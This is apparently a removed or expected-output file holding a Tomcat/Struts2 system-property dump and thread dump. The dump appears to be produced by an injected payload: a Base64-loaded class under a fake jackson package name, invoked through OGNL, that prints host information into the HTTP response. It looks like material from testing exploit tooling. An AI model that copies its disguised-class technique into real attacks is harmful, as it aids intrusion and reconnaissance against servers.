-tomcat.util.scan.StandardJarScanFilter.jarsToSkip: annotations-api.jar,ant-junit*.jar,ant-launcher*.jar,ant*.jar,asm-*.jar,aspectj*.jar,bcel*.jar,biz.aQute.bnd*.jar,bootstrap.jar,catalina-ant.jar,catalina-ha.jar,catalina-storeconfig.jar,catalina-tribes.jar,catalina-ws.jar,catalina.jar,cglib-*.jar,cobertura-*.jar,commons-beanutils*.jar,commons-codec*.jar,commons-collections*.jar,commons-compress*.jar,commons-daemon.jar,commons-dbcp*.jar,commons-digester*.jar,commons-fileupload*.jar,commons-httpclient*.jar,commons-io*.jar,commons-lang*.jar,commons-logging*.jar,commons-math*.jar,commons-pool*.jar,derby-*.jar,dom4j-*.jar,easymock-*.jar,ecj-*.jar,el-api.jar,geronimo-spec-jaxrpc*.jar,h2*.jar,ha-api-*.jar,hamcrest-*.jar,hibernate*.jar,httpclient*.jar,icu4j-*.jar,jasper-el.jar,jasper.jar,jaspic-api.jar,jaxb-*.jar,jaxen-*.jar,jaxws-rt-*.jar,jdom-*.jar,jetty-*.jar,jmx-tools.jar,jmx.jar,jsp-api.jar,jstl.jar,jta*.jar,junit-*.jar,junit.jar,log4j*.jar,mail*.jar,objenesis-*.jar,oraclepki.jar,org.hamcrest.core_*.jar,org.junit_*.jar,oro-*.jar,servlet-api-*.jar,servlet-api.jar,slf4j*.jar,taglibs-standard-spec-*.jar,tagsoup-*.jar,tomcat-api.jar,tomcat-coyote.jar,tomcat-dbcp.jar,tomcat-i18n-*.jar,tomcat-jdbc.jar,tomcat-jni.jar,tomcat-juli-adapters.jar,tomcat-juli.jar,tomcat-util-scan.jar,tomcat-util.jar,tomcat-websocket.jar,tools.jar,unboundid-ldapsdk-*.jar,websocket-api.jar,wsdl4j*.jar,xercesImpl.jar,xml-apis.jar,xmlParserAPIs-*.jar,xmlParserAPIs.jar,xom-*.jar
-java.library.path: /usr/local/tomcat/native-jni-lib:/usr/java/packages/lib/aarch64:/lib:/usr/lib
-java.vendor.url: https://adoptium.net/
-java.vm.vendor: Temurin
-common.loader: "${catalina.base}/lib","${catalina.base}/lib/*.jar","${catalina.home}/lib","${catalina.home}/lib/*.jar"
-java.runtime.name: OpenJDK Runtime Environment
-sun.java.command: org.apache.catalina.startup.Bootstrap start
-java.class.path: /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar
-java.vm.specification.name: Java Virtual Machine Specification
-java.vm.specification.version: 1.8
-catalina.home: /usr/local/tomcat
-sun.cpu.endian: little
-sun.os.patch.level: unknown
-java.io.tmpdir: /usr/local/tomcat/temp
-java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues
-server.loader:
-os.arch: aarch64
-java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
-java.ext.dirs: /opt/java/openjdk/lib/ext:/usr/java/packages/lib/ext
-user.dir: /usr/local/tomcat
-line.separator:
-
-java.vm.name: OpenJDK 64-Bit Server VM
-ignore.endorsed.dirs:
-file.encoding: UTF-8
-java.specification.version: 1.8
-
-===========================================
-
-ThreadStacks:
-"Signal Dispatcher" #4 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
-
-"http-nio-8080-exec-8" #24 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at java.lang.Thread.dumpThreads(Native Method)
- at java.lang.Thread.getAllStackTraces(Thread.java:1615)
- at com.fasterxml.jackson.ZsoNQ.ErrorHandler.toString(BasicInfoPrinter.java:26)
- at java.lang.String.valueOf(String.java:2994)
- at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:243)
- at Base64ClassLoaderAction.execute(Base64ClassLoaderAction.java:38)
- at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
- at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
- at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
- at java.lang.reflect.Method.invoke(Method.java:498)
- at ognl.OgnlRuntime.invokeMethodInsideSandbox(OgnlRuntime.java:1266)
- at ognl.OgnlRuntime.invokeMethod(OgnlRuntime.java:1251)
- at ognl.OgnlRuntime.callAppropriateMethod(OgnlRuntime.java:1969)
- at ognl.ObjectMethodAccessor.callMethod(ObjectMethodAccessor.java:68)
- at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethodWithDebugInfo(XWorkMethodAccessor.java:98)
- at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethod(XWorkMethodAccessor.java:90)
- at ognl.OgnlRuntime.callMethod(OgnlRuntime.java:2045)
- at ognl.ASTMethod.getValueBody(ASTMethod.java:97)
- at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212)
- at ognl.SimpleNode.getValue(SimpleNode.java:258)
- at ognl.Ognl.getValue(Ognl.java:537)
- at ognl.Ognl.getValue(Ognl.java:501)
- at com.opensymphony.xwork2.ognl.OgnlUtil$3.execute(OgnlUtil.java:492)
- at com.opensymphony.xwork2.ognl.OgnlUtil.compileAndExecuteMethod(OgnlUtil.java:544)
- at com.opensymphony.xwork2.ognl.OgnlUtil.callMethod(OgnlUtil.java:490)
- at com.opensymphony.xwork2.DefaultActionInvocation.invokeAction(DefaultActionInvocation.java:438)
- at com.opensymphony.xwork2.DefaultActionInvocation.invokeActionOnly(DefaultActionInvocation.java:293)
- at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:254)
- at org.apache.struts2.interceptor.debugging.DebuggingInterceptor.intercept(DebuggingInterceptor.java:250)
- at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
- at com.opensymphony.xwork2.interceptor.DefaultWorkflowInterceptor.doIntercept(DefaultWorkflowInterceptor.java:179)
- at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
- at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
- at com.opensymphony.xwork2.validator.ValidationInterceptor.doIntercept(ValidationInterceptor.java:263)
- at org.apache.struts2.interceptor.validation.AnnotationValidationInterceptor.doIntercept(AnnotationValidationInterceptor.java:49)
- at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
- at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
- at com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor.doIntercept(ConversionErrorInterceptor.java:142)
- at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
- at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
- at com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:140)
- at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
- at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
- at com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:140)
- at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
- at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
- at com.opensymphony.xwork2.interceptor.StaticParametersInterceptor.intercept(StaticParametersInterceptor.java:201)
- at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
- at org.apache.struts2.interceptor.MultiselectInterceptor.intercept(MultiselectInterceptor.java:67)
- at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
- at org.apache.struts2.interceptor.DateTextFieldInterceptor.intercept(DateTextFieldInterceptor.java:133)
- at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
- at org.apache.struts2.interceptor.CheckboxInterceptor.intercept(CheckboxInterceptor.java:89)
- at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
- at org.apache.struts2.interceptor.FileUploadInterceptor.intercept(FileUploadInterceptor.java:243)
- at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
- at com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor.intercept(ModelDrivenInterceptor.java:101)
- at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
- at com.opensymphony.xwork2.interceptor.ScopedModelDrivenInterceptor.intercept(ScopedModelDrivenInterceptor.java:142)
- at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
- at com.opensymphony.xwork2.interceptor.ChainingInterceptor.intercept(ChainingInterceptor.java:160)
- at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
- at com.opensymphony.xwork2.interceptor.PrepareInterceptor.doIntercept(PrepareInterceptor.java:175)
- at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
- at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
- at org.apache.struts2.interceptor.I18nInterceptor.intercept(I18nInterceptor.java:121)
- at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
- at org.apache.struts2.interceptor.ServletConfigInterceptor.intercept(ServletConfigInterceptor.java:167)
- at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
- at com.opensymphony.xwork2.interceptor.AliasInterceptor.intercept(AliasInterceptor.java:228)
- at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
- at com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor.intercept(ExceptionMappingInterceptor.java:196)
- at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
- at org.apache.struts2.factory.StrutsActionProxy.execute(StrutsActionProxy.java:48)
- at org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:574)
- at org.apache.struts2.dispatcher.ExecuteOperations.executeAction(ExecuteOperations.java:79)
- at org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:141)
- at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:181)
- at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:156)
- at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:168)
- at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:90)
- at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:483)
- at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:130)
- at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93)
- at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:679)
- at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)
- at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:346)
- at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:617)
- at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63)
- at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:934)
- at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1690)
- at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52)
- at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)
- at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
- at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
- at java.lang.Thread.run(Thread.java:750)
-
-"http-nio-8080-exec-6" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
- at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
- at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
- at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
- at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
- at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
- at java.lang.Thread.run(Thread.java:750)
-
-"AsyncFileHandlerWriter-1" #12 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@44aea3d6
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:492)
- at java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:680)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at java.lang.Thread.run(Thread.java:750)
-
-"http-nio-8080-AsyncTimeout" #29 daemon [TIMED_WAITING]
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Thread.sleep(Native Method)
- at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1291)
- at java.lang.Thread.run(Thread.java:750)
-
-"http-nio-8080-exec-10" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
- at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
- at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
- at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
- at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
- at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
- at java.lang.Thread.run(Thread.java:750)
-
-"Catalina-startStop-1" #14 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@259b735f
- java.lang.Thread.State: TIMED_WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
- at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at java.lang.Thread.run(Thread.java:750)
-
-"localhost-startStop-1" #15 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@42ede5b2
- java.lang.Thread.State: TIMED_WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
- at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at java.lang.Thread.run(Thread.java:750)
-
-"http-nio-8080-exec-5" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
- at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
- at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
- at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
- at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
- at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
- at java.lang.Thread.run(Thread.java:750)
-
-"http-nio-8080-exec-2" #18 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
- at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
- at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
- at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
- at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
- at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
- at java.lang.Thread.run(Thread.java:750)
-
-"GC Daemon" #13 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@6e2b855c
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Object.wait(Native Method)
- at sun.misc.GC$Daemon.run(GC.java:117)
-
-"http-nio-8080-exec-9" #25 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
- at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
- at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
- at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
- at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
- at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
- at java.lang.Thread.run(Thread.java:750)
-
-"http-nio-8080-exec-4" #20 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
- at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
- at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
- at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
- at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
- at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
- at java.lang.Thread.run(Thread.java:750)
-
-"http-nio-8080-exec-7" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
- at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
- at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
- at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
- at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
- at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
- at java.lang.Thread.run(Thread.java:750)
-
-"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@5faa2b5c
- java.lang.Thread.State: WAITING
- at java.lang.Object.wait(Native Method)
- at java.lang.Object.wait(Object.java:502)
- at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
- at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
-
-"http-nio-8080-Acceptor" #28 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
- at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
- at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
- at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:449)
- at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:63)
- at org.apache.tomcat.util.net.Acceptor.run(Acceptor.java:129)
- at java.lang.Thread.run(Thread.java:750)
-
-"ContainerBackgroundProcessor[StandardEngine[Catalina]]" #16 daemon [TIMED_WAITING]
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Thread.sleep(Native Method)
- at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1300)
- at java.lang.Thread.run(Thread.java:750)
-
-"main" #1 [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at java.net.PlainSocketImpl.socketAccept(Native Method)
- at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
- at java.net.ServerSocket.implAccept(ServerSocket.java:560)
- at java.net.ServerSocket.accept(ServerSocket.java:528)
- at org.apache.catalina.core.StandardServer.await(StandardServer.java:468)
- at org.apache.catalina.startup.Catalina.await(Catalina.java:730)
- at org.apache.catalina.startup.Catalina.start(Catalina.java:678)
- at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
- at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
- at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
- at java.lang.reflect.Method.invoke(Method.java:498)
- at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:345)
- at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:476)
-
-"http-nio-8080-exec-3" #19 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
- at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
- at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
- at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
- at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
- at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
- at java.lang.Thread.run(Thread.java:750)
-
-"http-nio-8080-exec-1" #17 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
- at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
- at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
- at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
- at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
- at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
- at java.lang.Thread.run(Thread.java:750)
-
-"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@21d5aa7d
- java.lang.Thread.State: WAITING
- at java.lang.Object.wait(Native Method)
- at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
- at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
- at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188)
-
-"http-nio-8080-Poller" #27 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
- at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
- at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
- at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
- at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
- at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:713)
- at java.lang.Thread.run(Thread.java:750)
-
-
-===========================================
-
-StackClassNames:
-Base64ClassLoaderAction
-com.fasterxml.jackson.ZsoNQ.ErrorHandler
-com.opensymphony.xwork2.DefaultActionInvocation
-com.opensymphony.xwork2.interceptor.AliasInterceptor
-com.opensymphony.xwork2.interceptor.ChainingInterceptor
-com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor
-com.opensymphony.xwork2.interceptor.DefaultWorkflowInterceptor
-com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor
-com.opensymphony.xwork2.interceptor.MethodFilterInterceptor
-com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor
-com.opensymphony.xwork2.interceptor.ParametersInterceptor
-com.opensymphony.xwork2.interceptor.PrepareInterceptor
-com.opensymphony.xwork2.interceptor.ScopedModelDrivenInterceptor
-com.opensymphony.xwork2.interceptor.StaticParametersInterceptor
-com.opensymphony.xwork2.ognl.OgnlUtil
-com.opensymphony.xwork2.ognl.OgnlUtil$3
-com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor
-com.opensymphony.xwork2.validator.ValidationInterceptor
-ognl.ASTMethod
-ognl.ObjectMethodAccessor
-ognl.Ognl
-ognl.OgnlRuntime
-ognl.SimpleNode
-org.apache.catalina.authenticator.AuthenticatorBase
-org.apache.catalina.connector.CoyoteAdapter
-org.apache.catalina.connector.CoyoteWriter
-org.apache.catalina.core.ApplicationFilterChain
-org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor
-org.apache.catalina.core.StandardContextValve
-org.apache.catalina.core.StandardEngineValve
-org.apache.catalina.core.StandardHostValve
-org.apache.catalina.core.StandardServer
-org.apache.catalina.core.StandardWrapperValve
-org.apache.catalina.startup.Bootstrap
-org.apache.catalina.startup.Catalina
-org.apache.catalina.valves.AbstractAccessLogValve
